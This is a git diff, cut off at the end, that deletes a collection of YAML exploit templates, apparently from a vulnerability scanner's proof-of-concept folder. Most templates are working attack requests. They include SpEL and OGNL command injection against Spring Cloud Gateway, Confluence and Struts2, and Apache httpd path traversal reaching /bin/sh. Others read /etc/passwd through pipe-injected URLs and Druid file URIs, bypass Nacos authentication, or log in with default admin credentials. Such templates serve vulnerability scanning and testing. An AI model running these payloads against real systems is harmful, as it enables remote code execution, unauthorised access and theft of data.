diff --git a/WebScan/pocs/CVE-2022-22947.yml b/WebScan/pocs/CVE-2022-22947.yml
deleted file mode 100644
index a2f2fc3..0000000
--- a/WebScan/pocs/CVE-2022-22947.yml
+++ /dev/null
@@ -1,44 +0,0 @@
-name: Spring-Cloud-CVE-2022-22947
-set:
- router: randomLowercase(8)
- rand1: randomInt(800000000, 1000000000)
- rand2: randomInt(800000000, 1000000000)
-rules:
- - method: POST
- path: /actuator/gateway/routes/{{router}}
- headers:
- Content-Type: application/json
- body: |
- {
- "id": "{{router}}",
- "filters": [{
- "name": "AddResponseHeader",
- "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
- }],
- "uri": "http://example.com",
- "order": 0
- }
- expression: response.status == 201
- - method: POST
- path: /actuator/gateway/refresh
- headers:
- Content-Type: application/json
- expression: response.status == 200
- - method: GET
- path: /actuator/gateway/routes/{{router}}
- headers:
- Content-Type: application/json
- expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
- - method: DELETE
- path: /actuator/gateway/routes/{{router}}
- expression: response.status == 200
- - method: POST
- path: /actuator/gateway/refresh
- headers:
- Content-Type: application/json
- expression: response.status == 200
-detail:
- author: jweny
- description: Spring Cloud Gateway Code Injection
- links:
- - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
diff --git a/WebScan/pocs/CVE-2022-22954-VMware-RCE.yml b/WebScan/pocs/CVE-2022-22954-VMware-RCE.yml
deleted file mode 100644
index f15af4c..0000000
--- a/WebScan/pocs/CVE-2022-22954-VMware-RCE.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-CVE-2022-22954-VMware-RCE
-rules:
- - method: GET
- path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
- expression: |
- response.status == 400 && "device id:".bmatches(response.body)
-detail:
- author: mamba
- description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
- links:
- - https://github.com/chaosec2021
diff --git a/WebScan/pocs/CVE-2022-26134.yml b/WebScan/pocs/CVE-2022-26134.yml
deleted file mode 100644
index 8e7469b..0000000
--- a/WebScan/pocs/CVE-2022-26134.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: Confluence-CVE-2022-26134
-
-rules:
- - method: GET
- path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
- expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
-detail:
- author: zan8in
- description: |
- Atlassian Confluence OGNL注入漏洞
- Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
- app="ATLASSIAN-Confluence"
- links:
- - https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
- - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
diff --git a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml
deleted file mode 100644
index bd124e5..0000000
--- a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: Hotel-Internet-Manage-RCE
-rules:
- - method: GET
- path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
- expression: |
- response.status == 200 && response.body.bcontains(b"parent.doTestResult")
-detail:
- author: test
- Affected Version: "Hotel Internet Billing & Operation Support System"
- links:
- - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
-
diff --git a/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml b/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml
deleted file mode 100644
index d77a764..0000000
--- a/WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml
+++ /dev/null
@@ -1,31 +0,0 @@
-name: poc-yaml-struts2-062-cve-2021-31805-rce
-rules:
- - method: POST
- path: /
- headers:
- Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
- Cache-Control: 'max-age=0'
- Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
-
- body: "\
- ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
- Content-Disposition: form-data; name=\"id\"\r\n\r\n\
- %{\r\n\
- (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
- (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
- (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
- (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
- (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
- (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
- (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
- (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
- (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
- }\r\n\
- ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
- "
- expression: |
- response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
- author: Jaky
- links:
- - https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
diff --git a/WebScan/pocs/active-directory-certsrv-detect.yml b/WebScan/pocs/active-directory-certsrv-detect.yml
deleted file mode 100644
index edf2dda..0000000
--- a/WebScan/pocs/active-directory-certsrv-detect.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-active-directory-certsrv-detect
-rules:
- - method: GET
- path: /certsrv/certrqad.asp
- follow_redirects: false
- expression: |
- response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
-detail:
- author: AgeloVito
- links:
- - https://www.cnblogs.com/EasonJim/p/6859345.html
diff --git a/WebScan/pocs/activemq-cve-2016-3088.yml b/WebScan/pocs/activemq-cve-2016-3088.yml
deleted file mode 100644
index 7b93f13..0000000
--- a/WebScan/pocs/activemq-cve-2016-3088.yml
+++ /dev/null
@@ -1,34 +0,0 @@
-name: poc-yaml-activemq-cve-2016-3088
-set:
- filename: randomLowercase(6)
- fileContent: randomLowercase(6)
-rules:
- - method: PUT
- path: /fileserver/{{filename}}.txt
- body: |
- {{fileContent}}
- expression: |
- response.status == 204
- - method: GET
- path: /admin/test/index.jsp
- search: |
- activemq.home=(?P.*?),
- follow_redirects: false
- expression: |
- response.status == 200
- - method: MOVE
- path: /fileserver/{{filename}}.txt
- headers:
- Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
- follow_redirects: false
- expression: |
- response.status == 204
- - method: GET
- path: /api/{{filename}}.jsp
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(bytes(fileContent))
-detail:
- author: j4ckzh0u(https://github.com/j4ckzh0u)
- links:
- - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
diff --git a/WebScan/pocs/activemq-default-password.yml b/WebScan/pocs/activemq-default-password.yml
deleted file mode 100644
index d9a7ef9..0000000
--- a/WebScan/pocs/activemq-default-password.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: poc-yaml-activemq-default-password
-rules:
- - method: GET
- path: /admin/
- expression: |
- response.status == 401 && response.body.bcontains(b"Unauthorized")
- - method: GET
- path: /admin/
- headers:
- Authorization: Basic YWRtaW46YWRtaW4=
- expression: |
- response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"Broker
")
-detail:
- author: pa55w0rd(www.pa55w0rd.online/)
- links:
- - https://blog.csdn.net/ge00111/article/details/72765210
\ No newline at end of file
diff --git a/WebScan/pocs/airflow-unauth.yml b/WebScan/pocs/airflow-unauth.yml
deleted file mode 100644
index 43b8ce7..0000000
--- a/WebScan/pocs/airflow-unauth.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: poc-yaml-airflow-unauth
-rules:
- - method: GET
- path: /admin/
- expression: |
- response.status == 200 && response.body.bcontains(b"Airflow - DAGs") && response.body.bcontains(b"DAGs
")
-detail:
- author: pa55w0rd(www.pa55w0rd.online/)
- links:
- - http://airflow.apache.org/
diff --git a/WebScan/pocs/alibaba-canal-default-password.yml b/WebScan/pocs/alibaba-canal-default-password.yml
deleted file mode 100644
index bee4b21..0000000
--- a/WebScan/pocs/alibaba-canal-default-password.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-name: poc-yaml-alibaba-canal-default-password
-rules:
- - method: POST
- path: /api/v1/user/login
- expression: |
- response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
- - method: POST
- path: /api/v1/user/login
- headers:
- Content-Type: application/json
- body: >-
- {"username":"admin","password":"123456"}
- follow_redirects: false
- expression: |
- response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
-detail:
- author: jweny(https://github.com/jweny)
- links:
- - https://www.cnblogs.com/xiexiandong/p/12888582.html
diff --git a/WebScan/pocs/alibaba-canal-info-leak.yml b/WebScan/pocs/alibaba-canal-info-leak.yml
deleted file mode 100644
index a51de57..0000000
--- a/WebScan/pocs/alibaba-canal-info-leak.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-alibaba-canal-info-leak
-rules:
- - method: GET
- path: /api/v1/canal/config/1/1
- follow_redirects: false
- expression: |
- response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
-detail:
- author: Aquilao(https://github.com/Aquilao)
- info: alibaba Canal info leak
- links:
- - https://my.oschina.net/u/4581879/blog/4753320
\ No newline at end of file
diff --git a/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml b/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml
deleted file mode 100644
index 4effabc..0000000
--- a/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml
+++ /dev/null
@@ -1,27 +0,0 @@
-name: poc-yaml-alibaba-nacos-v1-auth-bypass
-set:
- r1: randomLowercase(16)
- r2: randomLowercase(16)
-rules:
- - method: POST
- path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
- headers:
- User-Agent: Nacos-Server
- expression: |
- response.status == 200 && response.body.bcontains(bytes("create user ok!"))
- - method: GET
- path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
- headers:
- User-Agent: Nacos-Server
- expression: |
- response.status == 200 && response.body.bcontains(bytes(r1))
- - method: DELETE
- path: "/nacos/v1/auth/users?username={{r1}}"
- headers:
- User-Agent: Nacos-Server
- expression: |
- response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
-detail:
- author: kmahyyg(https://github.com/kmahyyg)
- links:
- - https://github.com/alibaba/nacos/issues/4593
diff --git a/WebScan/pocs/alibaba-nacos.yml b/WebScan/pocs/alibaba-nacos.yml
deleted file mode 100644
index 34a4407..0000000
--- a/WebScan/pocs/alibaba-nacos.yml
+++ /dev/null
@@ -1,13 +0,0 @@
-name: poc-yaml-alibaba-nacos
-rules:
- - method: GET
- path: /nacos/
- follow_redirects: true
- expression: |
- response.body.bcontains(bytes("Nacos"))
-detail:
- author: AgeloVito
- info: alibaba-nacos
- login: nacos/nacos
- links:
- - https://blog.csdn.net/caiqiiqi/article/details/112005424
diff --git a/WebScan/pocs/amtt-hiboss-server-ping-rce.yml b/WebScan/pocs/amtt-hiboss-server-ping-rce.yml
deleted file mode 100644
index b833f41..0000000
--- a/WebScan/pocs/amtt-hiboss-server-ping-rce.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-name: poc-yaml-amtt-hiboss-server-ping-rce
-set:
- r2: randomLowercase(10)
-rules:
- - method: GET
- path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"">../../{{r2}}.php&id=1
- expression: |
- response.status == 200 && response.body.bcontains(b"parent.doTestResult")
- - method: GET
- path: /{{r2}}.php
- expression: |
- response.status == 200 && response.body.bcontains(bytes(md5(r2)))
-
-detail:
- author: YekkoY
- description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
- links:
- - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
diff --git a/WebScan/pocs/apache-ambari-default-password.yml b/WebScan/pocs/apache-ambari-default-password.yml
deleted file mode 100644
index c3337b8..0000000
--- a/WebScan/pocs/apache-ambari-default-password.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: poc-yaml-apache-ambari-default-password
-rules:
- - method: GET
- path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
- headers:
- Authorization: Basic YWRtaW46YWRtaW4=
- expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
-detail:
- author: wulalalaaa(https://github.com/wulalalaaa)
- links:
- - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
diff --git a/WebScan/pocs/apache-axis-webservice-detect.yml b/WebScan/pocs/apache-axis-webservice-detect.yml
deleted file mode 100644
index 1b3872d..0000000
--- a/WebScan/pocs/apache-axis-webservice-detect.yml
+++ /dev/null
@@ -1,25 +0,0 @@
-name: poc-yaml-apache-axis-webservice-detect
-sets:
- path:
- - services
- - servlet/AxisaxiServlet
- - servlet/AxisServlet
- - services/listServices
- - services/FreeMarkerService
- - services/AdminService
- - axis/services
- - axis2/services
- - axis/servlet/AxisServlet
- - axis2/servlet/AxisServlet
- - axis2/services/listServices
- - axis/services/FreeMarkerService
- - axis/services/AdminService
-rules:
- - method: GET
- path: /{{path}}
- expression: |
- response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl">')
-detail:
- author: AgeloVito
- links:
- - https://paper.seebug.org/1489
diff --git a/WebScan/pocs/apache-druid-cve-2021-36749.yml b/WebScan/pocs/apache-druid-cve-2021-36749.yml
deleted file mode 100644
index 5ba40f8..0000000
--- a/WebScan/pocs/apache-druid-cve-2021-36749.yml
+++ /dev/null
@@ -1,24 +0,0 @@
-name: poc-yaml-apache-druid-cve-2021-36749
-manual: true
-transport: http
-groups:
- druid1:
- - method: POST
- path: /druid/indexer/v1/sampler?for=connect
- headers:
- Content-Type: application/json;charset=utf-8
- body: |
- {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
- expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
- druid2:
- - method: POST
- path: /druid/indexer/v1/sampler?for=connect
- headers:
- Content-Type: application/json;charset=utf-8
- body: |
- {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
- expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
-detail:
- author: iak3ec(https://github.com/nu0l)
- links:
- - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
diff --git a/WebScan/pocs/apache-flink-upload-rce.yml b/WebScan/pocs/apache-flink-upload-rce.yml
deleted file mode 100644
index 8ea773c..0000000
--- a/WebScan/pocs/apache-flink-upload-rce.yml
+++ /dev/null
@@ -1,36 +0,0 @@
-name: poc-yaml-apache-flink-upload-rce
-set:
- r1: randomLowercase(8)
- r2: randomLowercase(4)
-rules:
- - method: GET
- path: /jars
- follow_redirects: true
- expression: >
- response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
- - method: POST
- path: /jars/upload
- headers:
- Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
- body: |-
- --8ce4b16b22b58894aa86c421e8759df3
- Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
- Content-Type:application/octet-stream
-
- {{r1}}
- --8ce4b16b22b58894aa86c421e8759df3--
-
- follow_redirects: true
- expression: >
- response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
- search: >-
- (?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
- - method: DELETE
- path: '/jars/{{filen}}'
- follow_redirects: true
- expression: |
- response.status == 200
-detail:
- author: timwhite
- links:
- - https://github.com/LandGrey/flink-unauth-rce
diff --git a/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml b/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
deleted file mode 100644
index 387129e..0000000
--- a/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-name: poc-yaml-apache-httpd-cve-2021-40438-ssrf
-manual: true
-transport: http
-rules:
- - method: GET
- path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets
- follow_redirects: false
- expression: response.status == 302 && response.headers["Location"] == "http://www.baidu.com/search/error.html"
-detail:
- author: Jarcis-cy(https://github.com/Jarcis-cy)
- links:
- - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438
diff --git a/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml b/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
deleted file mode 100644
index 35618a6..0000000
--- a/WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal
-groups:
- cgibin:
- - method: GET
- path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
- expression: |
- response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
- icons:
- - method: GET
- path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd
- expression: |
- response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
-detail:
- author: JingLing(https://github.com/shmilylty)
- links:
- - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
\ No newline at end of file
diff --git a/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml b/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml
deleted file mode 100644
index f6ebbba..0000000
--- a/WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-name: poc-yaml-apache-httpd-cve-2021-41773-rce
-set:
- r1: randomInt(800000000, 1000000000)
- r2: randomInt(800000000, 1000000000)
-rules:
- - method: POST
- path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
- body: echo;expr {{r1}} + {{r2}}
- expression: |
- response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
-detail:
- author: B1anda0(https://github.com/B1anda0)
- links:
- - https://nvd.nist.gov/vuln/detail/CVE-2021-41773
diff --git a/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml b/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml
deleted file mode 100644
index 61dfc3b..0000000
--- a/WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-name: poc-yaml-apache-kylin-unauth-cve-2020-13937
-rules:
- - method: GET
- path: /kylin/api/admin/config
- expression: |
- response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
-detail:
- author: JingLing(github.com/shmilylty)
- links:
- - https://s.tencent.com/research/bsafe/1156.html
diff --git a/WebScan/pocs/apache-nifi-api-unauthorized-access.yml b/WebScan/pocs/apache-nifi-api-unauthorized-access.yml
deleted file mode 100644
